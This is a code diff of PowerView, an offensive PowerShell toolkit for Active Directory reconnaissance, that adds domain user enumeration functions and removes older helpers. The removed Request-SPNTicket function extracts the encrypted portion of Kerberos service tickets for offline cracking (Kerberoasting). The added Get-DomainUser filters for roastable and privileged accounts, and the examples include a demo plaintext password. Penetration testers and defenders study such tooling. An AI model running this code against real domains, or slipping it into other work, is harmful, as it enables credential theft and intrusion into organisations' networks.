[String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') + + $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') + + $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + # Domain / Credential + if ($PSBoundParameters['Domain']) { + if ($PSBoundParameters['Credential']) { + $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + else { + $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name } + Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" + } + + $SchemaArguments = @{} + if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } + if ($TargetForest) { + $SchemaArguments['Forest'] = $TargetForest + } + } + + PROCESS { + + if ($PSBoundParameters['ReferencePropertySet']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" + $ReferenceObjectProperties = $ReferencePropertySet + } + elseif ($PSBoundParameters['ReferenceObject']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" + $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name + $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 + Write-Verbose "[Find-DomainObjectPropertyOutlier] Caldulated ReferenceObjectClass : $ReferenceObjectClass" + } + else { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" } - - if($ProxyServer -or $AutoConfigUrl) { - $Properties = @{ - 'ProxyServer' = $ProxyServer - 'AutoConfigURL' = $AutoConfigURL - 'Wpad' = $Wpad - } - - New-Object -TypeName PSObject -Property $Properties + if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { + $Objects = Get-DomainUser @SearcherArguments + $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'User' + $ReferenceObjectProperties = $UserReferencePropertySet + } + elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { + $Objects = Get-DomainGroup @SearcherArguments + $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'Group' + $ReferenceObjectProperties = $GroupReferencePropertySet + } + elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { + Write-Verbose "COMPUTER!" + $Objects = Get-DomainComputer @SearcherArguments + $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'Computer' + $ReferenceObjectProperties = $ComputerReferencePropertySet } else { - Write-Warning "No proxy settings found for $ComputerName" + throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" + } + + $SchemaProperties = $SchemaClass | Select-Object -ExpandProperty OptionalProperties | Select-Object -ExpandProperty name + $SchemaProperties += $SchemaClass | Select-Object -ExpandProperty MandatoryProperties | Select-Object -ExpandProperty name + + # find the schema properties that are NOT in the first returned reference property set + $NonstandardProperties = Compare-Object -ReferenceObject $ReferenceObjectProperties -DifferenceObject $SchemaProperties -PassThru + + ForEach ($Object in $Objects) { + $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name + ForEach($ObjectProperty in $ObjectProperties) { + if ($NonstandardProperties -Contains $ObjectProperty) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName + $Out | Add-Member Noteproperty 'Property' $ObjectProperty + $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty + $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') + $Out + } + } } - } - catch { - Write-Warning "Error enumerating proxy settings for $ComputerName : $_" } } -function Request-SPNTicket { -<# - .SYNOPSIS - - Request the kerberos ticket for a specified service principal name (SPN). - - .PARAMETER SPN +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## - The service principal name to request the ticket for. Required. - - .PARAMETER EncPart - - Switch. Return the encrypted portion of the ticket (cipher). +function Get-DomainUser { +<# +.SYNOPSIS - .EXAMPLE +Return all users or specific user objects in AD. - PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" - - Request a kerberos service ticket for the specified SPN. - - .EXAMPLE +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty - PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart - - Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket. +.DESCRIPTION - .EXAMPLE +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properies, use +"-Properties samaccountname,usnchanged,...". By default, all user objects for +the current domain are returned. - PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket +.PARAMETER Identity - Request kerberos service tickets for all SPNs passed on the pipeline. +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. Also accepts DOMAIN\user format. - .EXAMPLE +.PARAMETER SPN - PS C:\> Get-NetUser -SPN | Request-SPNTicket +Switch. Only return user objects with non-null service principal names. - Request kerberos service tickets for all users with non-null SPNs. -#> +.PARAMETER AdminCount - [CmdletBinding()] - Param ( - [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)] - [Alias('ServicePrincipalName')] - [String[]] - $SPN, - - [Alias('EncryptedPart')] - [Switch] - $EncPart - ) +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). - begin { - Add-Type -AssemblyName System.IdentityModel - } +.PARAMETER AllowDelegation - process { - ForEach($UserSPN in $SPN) { - Write-Verbose "Requesting ticket for: $UserSPN" - if (!$EncPart) { - New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN - } - else { - $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN - $TicketByteStream = $Ticket.GetRequest() - if ($TicketByteStream) - { - $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-" - [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201" - $Parts.RemoveAt($Parts.Count - 1) - $Parts -join "A48201" - break - } - } - } - } -} +Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' +.PARAMETER DisallowDelegation -function Get-PathAcl { -<# - .SYNOPSIS - - Enumerates the ACL for a given file path. +Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' - .PARAMETER Path +.PARAMETER KerberosPreuthNotRequired - The local/remote path to enumerate the ACLs for. +Switch. Return user accounts with "Do not require Kerberos preauthentication" set. - .PARAMETER Recurse - - If any ACL results are groups, recurse and retrieve user membership. +.PARAMETER Domain - .EXAMPLE +Specifies the domain to use for the query, defaults to the current domain. - PS C:\> Get-PathAcl "\\SERVER\Share\" - - Returns ACLs for the given UNC share. -#> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - $Path, +.PARAMETER LDAPFilter - [Switch] - $Recurse - ) +Specifies an LDAP query string that is used to filter Active Directory objects. - begin { +.PARAMETER Properties - function Convert-FileRight { +Specifies the properties of the output object to retrieve from the server. - # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights +.PARAMETER SearchBase - [CmdletBinding()] - param( - [Int] - $FSR - ) +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - $AccessMask = @{ - [uint32]'0x80000000' = 'GenericRead' - [uint32]'0x40000000' = 'GenericWrite' - [uint32]'0x20000000' = 'GenericExecute' - [uint32]'0x10000000' = 'GenericAll' - [uint32]'0x02000000' = 'MaximumAllowed' - [uint32]'0x01000000' = 'AccessSystemSecurity' - [uint32]'0x00100000' = 'Synchronize' - [uint32]'0x00080000' = 'WriteOwner' - [uint32]'0x00040000' = 'WriteDAC' - [uint32]'0x00020000' = 'ReadControl' - [uint32]'0x00010000' = 'Delete' - [uint32]'0x00000100' = 'WriteAttributes' - [uint32]'0x00000080' = 'ReadAttributes' - [uint32]'0x00000040' = 'DeleteChild' - [uint32]'0x00000020' = 'Execute/Traverse' - [uint32]'0x00000010' = 'WriteExtendedAttributes' - [uint32]'0x00000008' = 'ReadExtendedAttributes' - [uint32]'0x00000004' = 'AppendData/AddSubdirectory' - [uint32]'0x00000002' = 'WriteData/AddFile' - [uint32]'0x00000001' = 'ReadData/ListDirectory' - } +.PARAMETER Server - $SimplePermissions = @{ - [uint32]'0x1f01ff' = 'FullControl' - [uint32]'0x0301bf' = 'Modify' - [uint32]'0x0200a9' = 'ReadAndExecute' - [uint32]'0x02019f' = 'ReadAndWrite' - [uint32]'0x020089' = 'Read' - [uint32]'0x000116' = 'Write' - } +Specifies an Active Directory server (domain controller) to bind to. - $Permissions = @() +.PARAMETER SearchScope - # get simple permission - $Permissions += $SimplePermissions.Keys | % { - if (($FSR -band $_) -eq $_) { - $SimplePermissions[$_] - $FSR = $FSR -band (-not $_) - } - } +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - # get remaining extended permissions - $Permissions += $AccessMask.Keys | - ? { $FSR -band $_ } | - % { $AccessMask[$_] } +.PARAMETER ResultPageSize - ($Permissions | ?{$_}) -join "," - } - } +Specifies the PageSize to set for the LDAP searcher object. - process { +.PARAMETER ServerTimeLimit - try { - $ACL = Get-Acl -Path $Path +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object { +.PARAMETER SecurityMasks - $Names = @() - if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') { - $Object = Get-ADObject -SID $_.IdentityReference - $Names = @() - $SIDs = @($Object.objectsid) +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) { - $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid - } +.PARAMETER Tombstone - $SIDs | ForEach-Object { - $Names += ,@($_, (Convert-SidToName $_)) - } - } - else { - $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value)) - } +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - ForEach($Name in $Names) { - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'Path' $Path - $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) - $Out | Add-Member Noteproperty 'IdentityReference' $Name[1] - $Out | Add-Member Noteproperty 'IdentitySID' $Name[0] - $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType - $Out - } - } - } - catch { - Write-Warning $_ - } - } -} +.PARAMETER FindOne +Only return one result object. -filter Get-NameField { -<# - .SYNOPSIS - - Helper that attempts to extract appropriate field names from - passed computer objects. +.PARAMETER Credential - .PARAMETER Object +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - The passed object to extract name fields from. +.PARAMETER Raw - .PARAMETER DnsHostName - - A DnsHostName to extract through ValueFromPipelineByPropertyName. +Switch. Return raw results instead of translating the fields into a custom PSObject. - .PARAMETER Name - - A Name to extract through ValueFromPipelineByPropertyName. +.EXAMPLE - .EXAMPLE +Get-DomainUser -Domain testlab.local - PS C:\> Get-NetComputer -FullData | Get-NameField -#> - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] - [Object] - $Object, +Return all users for the testlab.local domain - [Parameter(ValueFromPipelineByPropertyName = $True)] - [String] - $DnsHostName, +.EXAMPLE - [Parameter(ValueFromPipelineByPropertyName = $True)] - [String] - $Name - ) +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" - if($PSBoundParameters['DnsHostName']) { - $DnsHostName - } - elseif($PSBoundParameters['Name']) { - $Name - } - elseif($Object) { - if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputer - $Object.dnshostname - } - elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainController - $Object.name - } - else { - # strings and catch alls - $Object - } - } - else { - return $Null - } -} +Return the user with the given SID, as well as Administrator. +.EXAMPLE -function Convert-LDAPProperty { -<# - .SYNOPSIS - - Helper that converts specific LDAP property result fields. - Used by several of the Get-Net* function. +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff - .PARAMETER Properties +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator - Properties object to extract out LDAP fields for display. -#> - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [ValidateNotNullOrEmpty()] - $Properties - ) +.EXAMPLE - $ObjectProperties = @{} +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation - $Properties.PropertyNames | ForEach-Object { - if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { - # convert the SID to a string - $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value - } - elseif($_ -eq "objectguid") { - # convert the GUID to a string - $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { - # convert timestamps - if ($Properties[$_][0] -is [System.MarshalByRefObject]) { - # if we have a System.__ComObject - $Temp = $Properties[$_][0] - [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) - } - else { - $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) - } - } - elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { - # try to convert misc com objects - $Prop = $Properties[$_] - try { - $Temp = $Prop[$_][0] - Write-Verbose $_ - [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) - } - catch { - $ObjectProperties[$_] = $Prop[$_] - } - } - elseif($Properties[$_].count -eq 1) { - $ObjectProperties[$_] = $Properties[$_][0] - } - else { - $ObjectProperties[$_] = $Properties[$_] - } - } +Search the specified OU for privileged user (AdminCount = 1) that allow delegation - New-Object -TypeName PSObject -Property $ObjectProperties -} +.EXAMPLE +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon -######################################################## -# -# Domain info functions below. -# -######################################################## +.EXAMPLE -filter Get-DomainSearcher { -<# - .SYNOPSIS +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred - Helper used by various functions that takes an ADSpath and - domain specifier and builds the correct ADSI searcher object. +.EXAMPLE - .PARAMETER Domain +Get-Domain | Select-Object -Expand name +testlab.local - The domain to use for the query, defaults to the current domain. +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) - .PARAMETER DomainController +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local - Domain controller to reflect LDAP queries through. +.INPUTS - .PARAMETER ADSpath +String - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.OUTPUTS - .PARAMETER ADSprefix +PowerView.User - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") +Custom PSObject with translated user property fields. - .PARAMETER PageSize +PowerView.User.Raw - The PageSize to set for the LDAP searcher object. +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> - .PARAMETER Credential + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + [Switch] + $SPN, - .EXAMPLE + [Switch] + $AdminCount, - PS C:\> Get-DomainSearcher -Domain testlab.local + [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $AllowDelegation, - .EXAMPLE + [Parameter(ParameterSetName = 'DisallowDelegation')] + [Switch] + $DisallowDelegation, - PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local -#> + [Switch] + $KerberosPreuthNotRequired, - param( - [Parameter(ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $ADSpath, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $ADSprefix, + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, - [Management.Automation.PSCredential] - $Credential - ) + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - if(-not $Credential) { - if(-not $Domain) { - $Domain = (Get-NetDomain).name - } - elseif(-not $DomainController) { - try { - # if there's no -DomainController specified, try to pull the primary DC to reflect queries through - $DomainController = ((Get-NetDomain).PdcRoleOwner).Name - } - catch { - throw "Get-DomainSearcher: Error in retrieving PDC for current domain" - } - } - } - elseif (-not $DomainController) { - # if a DC isn't specified - try { - $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name - } - catch { - throw "Get-DomainSearcher: Error in retrieving PDC for current domain" - } + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, - if(!$DomainController) { - throw "Get-DomainSearcher: Error in retrieving PDC for current domain" - } - } + [Switch] + $Tombstone, - $SearchString = "LDAP://" + [Alias('ReturnOne')] + [Switch] + $FindOne, - if($DomainController) { - $SearchString += $DomainController - if($Domain){ - $SearchString += '/' - } - } + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) - if($ADSprefix) { - $SearchString += $ADSprefix + ',' + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $UserSearcher = Get-DomainSearcher @SearcherArguments } - if($ADSpath) { - if($ADSpath -Match '^GC://') { - # if we're searching the global catalog - $DN = $AdsPath.ToUpper().Trim('/') - $SearchString = '' - } - else { - if($ADSpath -match '^LDAP://') { - if($ADSpath -match "LDAP://.+/.+") { - $SearchString = '' + PROCESS { + if ($UserSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '.+\\.+') { + $ConvertedIdentityInstance = $IdentityInstance | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance -match '^S-1-.*') { + # SID format + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=.*') { + # distinguished names + $IdentityFilter += "(distinguishedname=$IdentityInstance)" } else { - $ADSpath = $ADSpath.Substring(7) + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } } } - $DN = $ADSpath - } - } - else { - if($Domain -and ($Domain.Trim() -ne "")) { - $DN = "DC=$($Domain.Replace('.', ',DC='))" - } - } - - $SearchString += $DN - Write-Verbose "Get-DomainSearcher search string: $SearchString" - - if($Credential) { - Write-Verbose "Using alternate credentials for LDAP connection" - $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) - $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) - } - else { - $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) - } - - $Searcher.PageSize = $PageSize - $Searcher.CacheResults = $False - $Searcher -} - - -filter Convert-DNSRecord { -<# - .SYNOPSIS - - Decodes a binary DNS record. - - Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 - - .PARAMETER DNSRecord - - The domain to query for zones, defaults to the current domain. - - .LINK - - https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 -#> - param( - [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] - [Byte[]] - $DNSRecord - ) + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - function Get-Name { - # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 - [CmdletBinding()] - param( - [Byte[]] - $Raw - ) + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' + } + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' + } + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['KerberosPreuthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - [Int]$Length = $Raw[0] - [Int]$Segments = $Raw[1] - [Int]$Index = 2 - [String]$Name = "" + $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" + Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" - while ($Segments-- -gt 0) - { - [Int]$SegmentLength = $Raw[$Index++] - while ($SegmentLength-- -gt 0) { - $Name += [Char]$Raw[$Index++] + if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } + else { $Results = $UserSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } + $User } - $Name += "." + try { $Results.dispose() } catch {} + $UserSearcher.dispose() } - $Name } +} - $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) - $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) - $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) - $TTLRaw = $DNSRecord[12..15] - # reverse for big endian - $Null = [array]::Reverse($TTLRaw) - $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) +function New-DomainUser { +<# +.SYNOPSIS - $Age = [BitConverter]::ToUInt32($DNSRecord, 20) - if($Age -ne 0) { - $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() - } - else { - $TimeStamp = "[static]" - } +Creates a new domain user (assuming appropriate permissions) and returns the user object. - $DNSRecordObject = New-Object PSObject +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). - if($RDataType -eq 1) { - $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] - $Data = $IP - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' - } +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext - elseif($RDataType -eq 2) { - $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $NSName - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' - } +.DESCRIPTION - elseif($RDataType -eq 5) { - $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $Alias - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' - } +First binds to the specified domain 